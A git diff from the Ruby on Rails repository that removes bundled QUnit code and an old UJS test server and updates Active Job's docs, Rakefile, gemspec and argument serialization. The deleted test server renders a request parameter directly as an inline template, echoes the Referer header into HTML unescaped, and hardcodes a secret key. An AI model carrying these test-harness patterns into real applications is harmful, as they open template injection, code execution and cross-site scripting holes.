-						args[l] = String.fromCharCode(97+l);
-					}
-					return " " + args.join( ", " ) + " ";
-				},
-				// object calls it internally, the key part of an item in a map
-				key: quote,
-				// function calls it internally, it's the content of the function
-				functionCode: "[code]",
-				// node calls it internally, it's an html attribute value
-				attribute: quote,
-				string: quote,
-				date: quote,
-				regexp: literal,
-				number: literal,
-				"boolean": literal
-			},
-			// if true, entities are escaped ( <, >, \t, space and \n )
-			HTML: false,
-			// indentation unit
-			indentChar: "  ",
-			// if true, items in a collection, are separated by a \n, else just a space.
-			multiline: true
-		};
-
-	return jsDump;
-}());
-
-/*
- * Javascript Diff Algorithm
- *  By John Resig (http://ejohn.org/)
- *  Modified by Chu Alan "sprite"
- *
- * Released under the MIT license.
- *
- * More Info:
- *  http://ejohn.org/projects/javascript-diff-algorithm/
- *
- * Usage: QUnit.diff(expected, actual)
- *
- * QUnit.diff( "the quick brown fox jumped over", "the quick fox jumps over" ) == "the  quick <del>brown </del> fox <del>jumped </del><ins>jumps </ins> over"
- */
-QUnit.diff = (function() {
-	/*jshint eqeqeq:false, eqnull:true */
-	function diff( o, n ) {
-		var i,
-			ns = {},
-			os = {};
-
-		for ( i = 0; i < n.length; i++ ) {
-			if ( !hasOwn.call( ns, n[i] ) ) {
-				ns[ n[i] ] = {
-					rows: [],
-					o: null
-				};
-			}
-			ns[ n[i] ].rows.push( i );
-		}
-
-		for ( i = 0; i < o.length; i++ ) {
-			if ( !hasOwn.call( os, o[i] ) ) {
-				os[ o[i] ] = {
-					rows: [],
-					n: null
-				};
-			}
-			os[ o[i] ].rows.push( i );
-		}
-
-		for ( i in ns ) {
-			if ( hasOwn.call( ns, i ) ) {
-				if ( ns[i].rows.length === 1 && hasOwn.call( os, i ) && os[i].rows.length === 1 ) {
-					n[ ns[i].rows[0] ] = {
-						text: n[ ns[i].rows[0] ],
-						row: os[i].rows[0]
-					};
-					o[ os[i].rows[0] ] = {
-						text: o[ os[i].rows[0] ],
-						row: ns[i].rows[0]
-					};
-				}
-			}
-		}
-
-		for ( i = 0; i < n.length - 1; i++ ) {
-			if ( n[i].text != null && n[ i + 1 ].text == null && n[i].row + 1 < o.length && o[ n[i].row + 1 ].text == null &&
-						n[ i + 1 ] == o[ n[i].row + 1 ] ) {
-
-				n[ i + 1 ] = {
-					text: n[ i + 1 ],
-					row: n[i].row + 1
-				};
-				o[ n[i].row + 1 ] = {
-					text: o[ n[i].row + 1 ],
-					row: i + 1
-				};
-			}
-		}
-
-		for ( i = n.length - 1; i > 0; i-- ) {
-			if ( n[i].text != null && n[ i - 1 ].text == null && n[i].row > 0 && o[ n[i].row - 1 ].text == null &&
-						n[ i - 1 ] == o[ n[i].row - 1 ]) {
-
-				n[ i - 1 ] = {
-					text: n[ i - 1 ],
-					row: n[i].row - 1
-				};
-				o[ n[i].row - 1 ] = {
-					text: o[ n[i].row - 1 ],
-					row: i - 1
-				};
-			}
-		}
-
-		return {
-			o: o,
-			n: n
-		};
-	}
-
-	return function( o, n ) {
-		o = o.replace( /\s+$/, "" );
-		n = n.replace( /\s+$/, "" );
-
-		var i, pre,
-			str = "",
-			out = diff( o === "" ? [] : o.split(/\s+/), n === "" ? [] : n.split(/\s+/) ),
-			oSpace = o.match(/\s+/g),
-			nSpace = n.match(/\s+/g);
-
-		if ( oSpace == null ) {
-			oSpace = [ " " ];
-		}
-		else {
-			oSpace.push( " " );
-		}
-
-		if ( nSpace == null ) {
-			nSpace = [ " " ];
-		}
-		else {
-			nSpace.push( " " );
-		}
-
-		if ( out.n.length === 0 ) {
-			for ( i = 0; i < out.o.length; i++ ) {
-				str += "<del>" + out.o[i] + oSpace[i] + "</del>";
-			}
-		}
-		else {
-			if ( out.n[0].text == null ) {
-				for ( n = 0; n < out.o.length && out.o[n].text == null; n++ ) {
-					str += "<del>" + out.o[n] + oSpace[n] + "</del>";
-				}
-			}
-
-			for ( i = 0; i < out.n.length; i++ ) {
-				if (out.n[i].text == null) {
-					str += "<ins>" + out.n[i] + nSpace[i] + "</ins>";
-				}
-				else {
-					// `pre` initialized at top of scope
-					pre = "";
-
-					for ( n = out.n[i].row + 1; n < out.o.length && out.o[n].text == null; n++ ) {
-						pre += "<del>" + out.o[n] + oSpace[n] + "</del>";
-					}
-					str += " " + out.n[i].text + nSpace[i] + pre;
-				}
-			}
-		}
-
-		return str;
-	};
-}());
-
-// For browser, export only select globals
-if ( typeof window !== "undefined" ) {
-	extend( window, QUnit.constructor.prototype );
-	window.QUnit = QUnit;
-}
-
-// For CommonJS environments, export everything
-if ( typeof module !== "undefined" && module.exports ) {
-	module.exports = QUnit;
-}
-
-
-// Get a reference to the global object, like window in browsers
-}( (function() {
-	return this;
-})() ));
diff --git a/actionview/test/ujs/server.rb b/actionview/test/ujs/server.rb
deleted file mode 100644
index 25f70baf5f41d..0000000000000
--- a/actionview/test/ujs/server.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-require "rails"
-require "action_controller/railtie"
-require "action_view/railtie"
-require "blade"
-require "json"
-
-JQUERY_VERSIONS = %w[ 1.8.0 1.8.1 1.8.2 1.8.3 1.9.0 1.9.1 1.10.0 1.10.1 1.10.2 1.11.0 2.0.0 2.1.0].freeze
-
-module UJS
-  class Server < Rails::Application
-    routes.append do
-      get "/rails-ujs.js" => Blade::Assets.environment
-      get "/" => "tests#index"
-      match "/echo" => "tests#echo", via: :all
-      get "/error" => proc { |env| [403, {}, []] }
-    end
-
-    config.cache_classes = false
-    config.eager_load = false
-    config.secret_key_base = "59d7a4dbd349fa3838d79e330e39690fc22b931e7dc17d9162f03d633d526fbb92dfdb2dc9804c8be3e199631b9c1fbe43fc3e4fc75730b515851849c728d5c7"
-    config.paths["app/views"].unshift("#{Rails.root / "views"}")
-    config.public_file_server.enabled = true
-    config.logger = Logger.new(STDOUT)
-    config.log_level = :error
-  end
-end
-
-module TestsHelper
-  def jquery_link(version)
-    if params[:version] == version
-      "[#{version}]"
-    else
-      "<a href='/?version=#{version}&cdn=#{params[:cdn]}'>#{version}</a>".html_safe
-    end
-  end
-
-  def cdn_link(cdn)
-    if params[:cdn] == cdn
-      "[#{cdn}]"
-    else
-      "<a href='/?version=#{params[:version]}&cdn=#{cdn}'>#{cdn}</a>".html_safe
-    end
-  end
-
-  def jquery_src
-    if params[:version] == "edge"
-      "/vendor/jquery.js"
-    elsif params[:cdn] && params[:cdn] == "googleapis"
-      "https://ajax.googleapis.com/ajax/libs/jquery/#{params[:version]}/jquery.min.js"
-    else
-      "http://code.jquery.com/jquery-#{params[:version]}.js"
-    end
-  end
-
-  def test_to(*names)
-    names = ["/vendor/qunit.js", "settings"] + names
-    names.map { |name| script_tag name }.join("\n").html_safe
-  end
-
-  def script_tag(src)
-    src = "/test/#{src}.js" unless src.index("/")
-    %(<script src="#{src}" type="text/javascript"></script>).html_safe
-  end
-
-  def jquery_versions
-    JQUERY_VERSIONS
-  end
-end
-
-class TestsController < ActionController::Base
-  helper TestsHelper
-  layout "application"
-
-  def index
-    params[:version] ||= ENV["JQUERY_VERSION"] || "1.11.0"
-    params[:cdn] ||= "jquery"
-    render :index
-  end
-
-  def echo
-    data = { params: params.to_unsafe_h }.update(request.env)
-
-    if params[:content_type] && params[:content]
-      render inline: params[:content], content_type: params[:content_type]
-    elsif request.xhr?
-      render json: JSON.generate(data)
-    elsif params[:iframe]
-      payload = JSON.generate(data).gsub("<", "&lt;").gsub(">", "&gt;")
-      html = <<-HTML
-        <script>
-          if (window.top && window.top !== window)
-            window.top.jQuery.event.trigger('iframe:loaded', #{payload})
-        </script>
-        <p>You shouldn't be seeing this. <a href="#{request.env['HTTP_REFERER']}">Go back</a></p>
-      HTML
-
-      render html: html.html_safe
-    else
-      render plain: "ERROR: #{request.path} requested without ajax", status: 404
-    end
-  end
-end
-
-Blade.initialize!
-UJS::Server.initialize!
diff --git a/actionview/test/ujs/views/layouts/application.html.erb b/actionview/test/ujs/views/layouts/application.html.erb
deleted file mode 100644
index 74fa3bd06d082..0000000000000
--- a/actionview/test/ujs/views/layouts/application.html.erb
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE html>
-<html id="html">
-  <head>
-    <title><%= @title %></title>
-    <link href="/vendor/qunit.css" media="screen" rel="stylesheet" type="text/css" media="screen, projection" />
-    <style>
-      #jquery-cdn, #jquery-version {
-        padding: 0 2em .8em 0;
-        text-align: right;
-        font-family: sans-serif;
-        line-height: 1;
-        color: #8699A4;
-        background-color: #0d3349;
-      }
-      #jquery-cdn a, #jquery-version a {
-        color: white;
-        text-decoration: underline;
-      }
-    </style>
-
-    <%= script_tag jquery_src %>
-    <script>
-      // This is for test in override.js.
-      // Must go after jQuery is loaded, but before jquery-ujs.
-      $(document).bind('rails:attachBindings', function() {
-        $.rails.linkClickSelector += ', a[data-custom-remote-link]';
-        // Hijacks link click before ujs binds any handlers
-        // This is only used for ctrl-clicking test on remote links
-        $.rails.delegate(document, '#qunit-fixture a', 'click', function(e) {
-          e.preventDefault();
-        });
-      });
-    </script>
-    <%= script_tag "/rails-ujs.js" %>
-  </head>
-
-  <body id="body">
-    <%= yield %>
-  </body>
-</html>
diff --git a/actionview/test/ujs/views/tests/index.html.erb b/actionview/test/ujs/views/tests/index.html.erb
deleted file mode 100644
index 393a5ee2355d8..0000000000000
--- a/actionview/test/ujs/views/tests/index.html.erb
+++ /dev/null
@@ -1,25 +0,0 @@
-<% @title = "jquery-ujs test" %>
-
-<%= test_to 'data-confirm', 'data-remote', 'data-disable', 'data-disable-with', 'call-remote', 'call-remote-callbacks', 'data-method', 'override', 'csrf-refresh', 'csrf-token' %>
-
-<h1 id="qunit-header"><%= @title %></h1>
-<div id="jquery-cdn">
-  CDN:
-  <%= cdn_link 'jquery' %> •
-  <%= cdn_link 'googleapis' %>
-</div>
-<div id="jquery-version">
-  jQuery version:
-
-  <% jquery_versions.each do |v| %>
-    <%= ' • ' if v != jquery_versions.first %>
-    <%= jquery_link v %>
-  <% end %>
- <%= (' • ' + jquery_link('edge')) if File.exist?(Rails.root + '/public/vendor/jquery.js') %>
-</div>
-<h2 id="qunit-banner"></h2>
-<div id="qunit-testrunner-toolbar"></div>
-<h2 id="qunit-userAgent"></h2>
-<ol id="qunit-tests"></ol>
-
-<div id="qunit-fixture"></div>
diff --git a/activejob/.gitignore b/activejob/.gitignore
deleted file mode 100644
index b3aaf55871335..0000000000000
--- a/activejob/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-test/dummy
diff --git a/activejob/CHANGELOG.md b/activejob/CHANGELOG.md
index 3bc34c1598d63..28a9017a3f2be 100644
--- a/activejob/CHANGELOG.md
+++ b/activejob/CHANGELOG.md
@@ -1,51 +1,6 @@
-*   Correctly set test adapter when configure the queue adapter on a per job.
+*   Fix using custom serializers with `ActiveJob::Arguments.serialize` when
+    `ActiveJob::Base` hasn't been loaded.
 
-    Fixes #26360.
+    *Hartley McGuire*
 
-    *Yuji Yaginuma*
-
-*   Push skipped jobs to `enqueued_jobs` when using `perform_enqueued_jobs` with a `only` filter in tests
-
-    *Alexander Pauly*
-  
-*   Removed deprecated support to passing the adapter class to `.queue_adapter`.
-
-    *Rafael Mendonça França*
-
-*   Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`.
-
-    *Rafael Mendonça França*
-
-*   Added instance variable `@queue` to JobWrapper.
-
-    This will fix issues in [resque-scheduler](https://github.com/resque/resque-scheduler) `#job_to_hash` method,
-    so we can use `#enqueue_delayed_selection`, `#remove_delayed` method in resque-scheduler smoothly.
-
-    *mu29*
-
-*   Yield the job instance so you have access to things like `job.arguments` on the custom logic after retries fail.
-
-    *DHH*
-
-*   Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`.
-
-    Examples:
-
-        class RemoteServiceJob < ActiveJob::Base
-          retry_on CustomAppException # defaults to 3s wait, 5 attempts
-          retry_on AnotherCustomAppException, wait: ->(executions) { executions * 2 }
-          retry_on ActiveRecord::Deadlocked, wait: 5.seconds, attempts: 3
-          retry_on Net::OpenTimeout, wait: :exponentially_longer, attempts: 10
-          discard_on ActiveJob::DeserializationError
-
-          def perform(*args)
-            # Might raise CustomAppException or AnotherCustomAppException for something domain specific
-            # Might raise ActiveRecord::Deadlocked when a local db deadlock is detected
-            # Might raise Net::OpenTimeout when the remote service is down
-          end
-        end
-
-    *DHH*
-
-
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/activejob/CHANGELOG.md) for previous changes.
diff --git a/activejob/MIT-LICENSE b/activejob/MIT-LICENSE
index daa726b9f050b..7be9ac633faf0 100644
--- a/activejob/MIT-LICENSE
+++ b/activejob/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2014-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activejob/README.md b/activejob/README.md
index 8becac77539d0..2d5c6332e2169 100644
--- a/activejob/README.md
+++ b/activejob/README.md
@@ -1,28 +1,29 @@
-# Active Job -- Make work happen later
+# Active Job – Make work happen later
 
 Active Job is a framework for declaring jobs and making them run on a variety
-of queueing backends. These jobs can be everything from regularly scheduled
-clean-ups, to billing charges, to mailings. Anything that can be chopped up into
-small units of work and run in parallel, really.
+of queuing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings — anything that can be chopped up into
+small units of work and run in parallel.
 
 It also serves as the backend for Action Mailer's #deliver_later functionality
 that makes it easy to turn any mailing into a job for running later. That's
 one of the most common jobs in a modern web application: sending emails outside
-of the request-response cycle, so the user doesn't have to wait on it.
+the request-response cycle, so the user doesn't have to wait on it.
 
-The main point is to ensure that all Rails apps will have a job infrastructure
+The main point is to ensure that all \Rails apps will have a job infrastructure
 in place, even if it's in the form of an "immediate runner". We can then have
 framework features and other gems build on top of that, without having to worry
 about API differences between Delayed Job and Resque. Picking your queuing
 backend becomes more of an operational concern, then. And you'll be able to
 switch between them without having to rewrite your jobs.
 
+You can read more about Active Job in the [Active Job Basics](https://guides.rubyonrails.org/active_job_basics.html) guide.
 
 ## Usage
 
-To learn how to use your preferred queueing backend see its adapter
+To learn how to use your preferred queuing backend see its adapter
 documentation at
-[ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+[ActiveJob::QueueAdapters](https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
 
 Declare a job like so:
 
@@ -39,7 +40,7 @@ end
 Enqueue a job like so:
 
 ```ruby
-MyJob.perform_later record  # Enqueue a job to be performed as soon as the queueing system is free.
+MyJob.perform_later record  # Enqueue a job to be performed as soon as the queuing system is free.
 ```
 
 ```ruby
@@ -82,15 +83,20 @@ This works with any class that mixes in GlobalID::Identification, which
 by default has been mixed into Active Record classes.
 
 
-## Supported queueing systems
+## Supported queuing systems
 
-Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Active Job has built-in adapters for multiple queuing backends (Sidekiq,
 Resque, Delayed Job and others). To get an up-to-date list of the adapters
-see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+see the API Documentation for [ActiveJob::QueueAdapters](https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
 
-## Auxiliary gems
+**Please note:** We are not accepting pull requests for new adapters, and we are
+actively extracting the current adapters. We encourage library authors to provide
+an Active Job adapter as part of their gem, or as a stand-alone gem.
+
+## Continuations
+
+Continuations allow jobs to be interrupted and resumed. See more at ActiveJob::Continuation.
 
-* [activejob-stats](https://github.com/seuros/activejob-stats)
 
 ## Download and installation
 
@@ -100,27 +106,28 @@ The latest version of Active Job can be installed with RubyGems:
   $ gem install activejob
 ```
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/main/activejob
 
-* https://github.com/rails/rails/tree/master/activejob
 
 ## License
 
 Active Job is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 ## Support
 
 API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/activejob/Rakefile b/activejob/Rakefile
index 41ff76135e706..c64f1ed6d3ff2 100644
--- a/activejob/Rakefile
+++ b/activejob/Rakefile
@@ -1,14 +1,14 @@
+# frozen_string_literal: true
+
 require "rake/testtask"
 
-#TODO: add qu back to the list after it support Rails 5.1
-#TODO: add delayed_job back to the list after it support Rails 5.1
-ACTIVEJOB_ADAPTERS = %w(async inline que queue_classic resque sidekiq sneakers sucker_punch backburner test)
+ACTIVEJOB_ADAPTERS = %w(async inline queue_classic resque sidekiq sneakers backburner test)
 ACTIVEJOB_ADAPTERS.delete("queue_classic") if defined?(JRUBY_VERSION)
 
 task default: :test
 task test: "test:default"
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 namespace :test do
   desc "Run all adapter tests"
@@ -17,10 +17,16 @@ namespace :test do
   end
 
   desc "Run all adapter tests in isolation"
-  task :isolated do
+  task isolated: :railties do
     run_without_aborting ACTIVEJOB_ADAPTERS.map { |a| "test:isolated:#{a}" }
   end
 
+  task :railties do
+    ["active_job/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+
   desc "Run integration tests for all adapters"
   task :integration do
     run_without_aborting (ACTIVEJOB_ADAPTERS - ["test"]).map { |a| "test:integration:#{a}" }
@@ -36,17 +42,23 @@ namespace :test do
     Rake::TestTask.new(adapter => "test:env:#{adapter}") do |t|
       t.description = "Run adapter tests for #{adapter}"
       t.libs << "test"
-      t.test_files = FileList["test/cases/**/*_test.rb"]
+      t.test_files = FileList["test/cases/**/*_test.rb"].reject { |x|
+        (x.include?("delayed_job") && adapter != "delayed_job") ||
+          (x.include?("async") && adapter != "async")
+      }
       t.verbose = true
-      t.warning = false
+      t.options = "--profile" if ENV["CI"]
+      t.warning = true
       t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
     end
 
     namespace :isolated do
       task adapter => "test:env:#{adapter}" do
-        dir = File.dirname(__FILE__)
-        Dir.glob("#{dir}/test/cases/**/*_test.rb").all? do |file|
-          sh(Gem.ruby, "-w", "-I#{dir}/lib", "-I#{dir}/test", file)
+        Dir.glob("#{__dir__}/test/cases/**/*_test.rb").reject { |x|
+          (x.include?("delayed_job") && adapter != "delayed_job") ||
+            (x.include?("async") && adapter != "async")
+        }.all? do |file|
+          sh(Gem.ruby, "-w", "-I#{__dir__}/lib", "-I#{__dir__}/test", file)
         end || raise("Failures")
       end
     end
@@ -57,7 +69,8 @@ namespace :test do
         t.libs << "test"
         t.test_files = FileList["test/integration/**/*_test.rb"]
         t.verbose = true
-        t.warning = false
+        t.options = "--profile" if ENV["CI"]
+        t.warning = true
         t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
       end
     end
@@ -68,12 +81,17 @@ def run_without_aborting(tasks)
   errors = []
 
   tasks.each do |task|
-    begin
-      Rake::Task[task].invoke
-    rescue Exception
-      errors << task
-    end
+    puts "\n\n---   rake #{task}\n"
+
+    Rake::Task[task].invoke
+  rescue Exception
+    puts "\n^^^ +++"
+
+    errors << task
   end
 
-  abort "Errors running #{errors.join(', ')}" if errors.any?
+  if errors.any?
+    puts "\n\n+++   Summary\n"
+    abort "Errors running #{errors.join(', ')}"
+  end
 end
diff --git a/activejob/activejob.gemspec b/activejob/activejob.gemspec
index 2547e9126255e..4f409db2e96a7 100644
--- a/activejob/activejob.gemspec
+++ b/activejob/activejob.gemspec
@@ -1,23 +1,37 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
   s.name        = "activejob"
   s.version     = version
   s.summary     = "Job framework with pluggable queues."
-  s.description = "Declare job classes that can be run by a variety of queueing backends."
+  s.description = "Declare job classes that can be run by a variety of queuing backends."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*"]
   s.require_path = "lib"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/activejob/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/activejob",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
   s.add_dependency "globalid", ">= 0.3.6"
 end
diff --git a/activejob/bin/test b/activejob/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/activejob/bin/test
+++ b/activejob/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/activejob/lib/active_job.rb b/activejob/lib/active_job.rb
index 8b7aef65a264c..e8436a76f53d9 100644
--- a/activejob/lib/active_job.rb
+++ b/activejob/lib/active_job.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2014-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -24,14 +26,37 @@
 require "active_support"
 require "active_support/rails"
 require "active_job/version"
+require "active_job/deprecator"
 require "global_id"
 
+# :markup: markdown
+# :include: ../README.md
 module ActiveJob
   extend ActiveSupport::Autoload
 
   autoload :Base
   autoload :QueueAdapters
-  autoload :ConfiguredJob
+  autoload :Arguments
+  autoload :DeserializationError, "active_job/arguments"
+  autoload :SerializationError, "active_job/arguments"
+  autoload :UnknownJobClassError, "active_job/core"
+  autoload :EnqueueAfterTransactionCommit
+
+  eager_autoload do
+    autoload :Continuable
+    autoload :Continuation
+    autoload :Serializers
+    autoload :ConfiguredJob
+  end
+
   autoload :TestCase
   autoload :TestHelper
+
+  ##
+  # :singleton-method: verbose_enqueue_logs
+  #
+  # Specifies if the methods calling background job enqueue should be logged below
+  # their relevant enqueue log lines. Defaults to false.
+  singleton_class.attr_accessor :verbose_enqueue_logs
+  self.verbose_enqueue_logs = false
 end
diff --git a/activejob/lib/active_job/arguments.rb b/activejob/lib/active_job/arguments.rb
index 523a0e7f336e3..06a19fe30d3b9 100644
--- a/activejob/lib/active_job/arguments.rb
+++ b/activejob/lib/active_job/arguments.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
 require "active_support/core_ext/hash"
 
 module ActiveJob
@@ -5,36 +8,77 @@ module ActiveJob
   #
   # Wraps the original exception raised as +cause+.
   class DeserializationError < StandardError
-    def initialize #:nodoc:
+    def initialize # :nodoc:
       super("Error while trying to deserialize arguments: #{$!.message}")
       set_backtrace $!.backtrace
     end
   end
 
   # Raised when an unsupported argument type is set as a job argument. We
-  # currently support NilClass, Integer, Fixnum, Float, String, TrueClass, FalseClass,
-  # Bignum, BigDecimal, and objects that can be represented as GlobalIDs (ex: Active Record).
+  # currently support String, Integer, Float, NilClass, TrueClass, FalseClass,
+  # BigDecimal, Symbol, Date, Time, DateTime, ActiveSupport::TimeWithZone,
+  # ActiveSupport::Duration, Hash, ActiveSupport::HashWithIndifferentAccess,
+  # Array, Range, or GlobalID::Identification instances, although this can be
+  # extended by adding custom serializers.
   # Raised if you set the key for a Hash something else than a string or
   # a symbol. Also raised when trying to serialize an object which can't be
-  # identified with a Global ID - such as an unpersisted Active Record model.
+  # identified with a GlobalID - such as an unpersisted Active Record model.
   class SerializationError < ArgumentError; end
 
   module Arguments
     extend self
-    # :nodoc:
-    TYPE_WHITELIST = [ NilClass, String, Integer, Float, BigDecimal, TrueClass, FalseClass ]
-    TYPE_WHITELIST.push(Fixnum, Bignum) unless 1.class == Integer
-
-    # Serializes a set of arguments. Whitelisted types are returned
-    # as-is. Arrays/Hashes are serialized element by element.
-    # All other types are serialized using GlobalID.
+    # Serializes a set of arguments. Intrinsic types that can safely be
+    # serialized without mutation are returned as-is. Arrays/Hashes are
+    # serialized element by element. All other types are serialized using
+    # GlobalID.
     def serialize(arguments)
       arguments.map { |argument| serialize_argument(argument) }
     end
 
-    # Deserializes a set of arguments. Whitelisted types are returned
-    # as-is. Arrays/Hashes are deserialized element by element.
-    # All other types are deserialized using GlobalID.
+    def serialize_argument(argument) # :nodoc:
+      case argument
+      when nil, true, false, Integer, Float # Types that can hardly be subclassed
+        argument
+      when String
+        if argument.class == String
+          argument
+        else
+          begin
+            Serializers.serialize(argument)
+          rescue SerializationError
+            argument
+          end
+        end
+      when Symbol
+        { Serializers::OBJECT_SERIALIZER_KEY => "ActiveJob::Serializers::SymbolSerializer", "value" => argument.name }
+      when GlobalID::Identification
+        convert_to_global_id_hash(argument)
+      when Array
+        argument.map { |arg| serialize_argument(arg) }
+      when ActiveSupport::HashWithIndifferentAccess
+        serialize_indifferent_hash(argument)
+      when Hash
+        symbol_keys = argument.keys
+        symbol_keys.select! { |k| k.is_a?(Symbol) }
+        symbol_keys.map!(&:name)
+
+        aj_hash_key = if Hash.ruby2_keywords_hash?(argument)
+          RUBY2_KEYWORDS_KEY
+        else
+          SYMBOL_KEYS_KEY
+        end
+        result = serialize_hash(argument)
+        result[aj_hash_key] = symbol_keys
+        result
+      else
+        Serializers.serialize(argument)
+      end
+    end
+
+    # Deserializes a set of arguments. Intrinsic types that can safely be
+    # deserialized without mutation are returned as-is. Arrays/Hashes are
+    # deserialized element by element. All other types are deserialized using
+    # GlobalID.
     def deserialize(arguments)
       arguments.map { |argument| deserialize_argument(argument) }
     rescue
@@ -43,46 +87,36 @@ def deserialize(arguments)
 
     private
       # :nodoc:
-      GLOBALID_KEY = "_aj_globalid".freeze
+      GLOBALID_KEY = "_aj_globalid"
+      # :nodoc:
+      SYMBOL_KEYS_KEY = "_aj_symbol_keys"
       # :nodoc:
-      SYMBOL_KEYS_KEY = "_aj_symbol_keys".freeze
+      RUBY2_KEYWORDS_KEY = "_aj_ruby2_keywords"
       # :nodoc:
-      WITH_INDIFFERENT_ACCESS_KEY = "_aj_hash_with_indifferent_access".freeze
-      private_constant :GLOBALID_KEY, :SYMBOL_KEYS_KEY, :WITH_INDIFFERENT_ACCESS_KEY
+      WITH_INDIFFERENT_ACCESS_KEY = "_aj_hash_with_indifferent_access"
 
-      def serialize_argument(argument)
-        case argument
-        when *TYPE_WHITELIST
-          argument
-        when GlobalID::Identification
-          convert_to_global_id_hash(argument)
-        when Array
-          argument.map { |arg| serialize_argument(arg) }
-        when ActiveSupport::HashWithIndifferentAccess
-          result = serialize_hash(argument)
-          result[WITH_INDIFFERENT_ACCESS_KEY] = serialize_argument(true)
-          result
-        when Hash
-          symbol_keys = argument.each_key.grep(Symbol).map(&:to_s)
-          result = serialize_hash(argument)
-          result[SYMBOL_KEYS_KEY] = symbol_keys
-          result
-        else
-          raise SerializationError.new("Unsupported argument type: #{argument.class.name}")
-        end
-      end
+      # :nodoc:
+      RESERVED_KEYS = [
+        GLOBALID_KEY, GLOBALID_KEY.to_sym,
+        SYMBOL_KEYS_KEY, SYMBOL_KEYS_KEY.to_sym,
+        RUBY2_KEYWORDS_KEY, RUBY2_KEYWORDS_KEY.to_sym,
+        Serializers::OBJECT_SERIALIZER_KEY, Serializers::OBJECT_SERIALIZER_KEY.to_sym,
+        WITH_INDIFFERENT_ACCESS_KEY, WITH_INDIFFERENT_ACCESS_KEY.to_sym,
+      ].to_set
+      private_constant :RESERVED_KEYS, :GLOBALID_KEY,
+        :SYMBOL_KEYS_KEY, :RUBY2_KEYWORDS_KEY, :WITH_INDIFFERENT_ACCESS_KEY
 
       def deserialize_argument(argument)
         case argument
-        when String
-          GlobalID::Locator.locate(argument) || argument
-        when *TYPE_WHITELIST
+        when nil, true, false, String, Integer, Float
           argument
         when Array
           argument.map { |arg| deserialize_argument(arg) }
         when Hash
           if serialized_global_id?(argument)
             deserialize_global_id argument
+          elsif custom_serialized?(argument)
+            Serializers.deserialize(argument)
           else
             deserialize_hash(argument)
           end
@@ -99,6 +133,10 @@ def deserialize_global_id(hash)
         GlobalID::Locator.locate hash[GLOBALID_KEY]
       end
 
+      def custom_serialized?(hash)
+        hash.key?(Serializers::OBJECT_SERIALIZER_KEY)
+      end
+
       def serialize_hash(argument)
         argument.each_with_object({}) do |(key, value), hash|
           hash[serialize_hash_key(key)] = serialize_argument(value)
@@ -111,31 +149,37 @@ def deserialize_hash(serialized_hash)
           result = result.with_indifferent_access
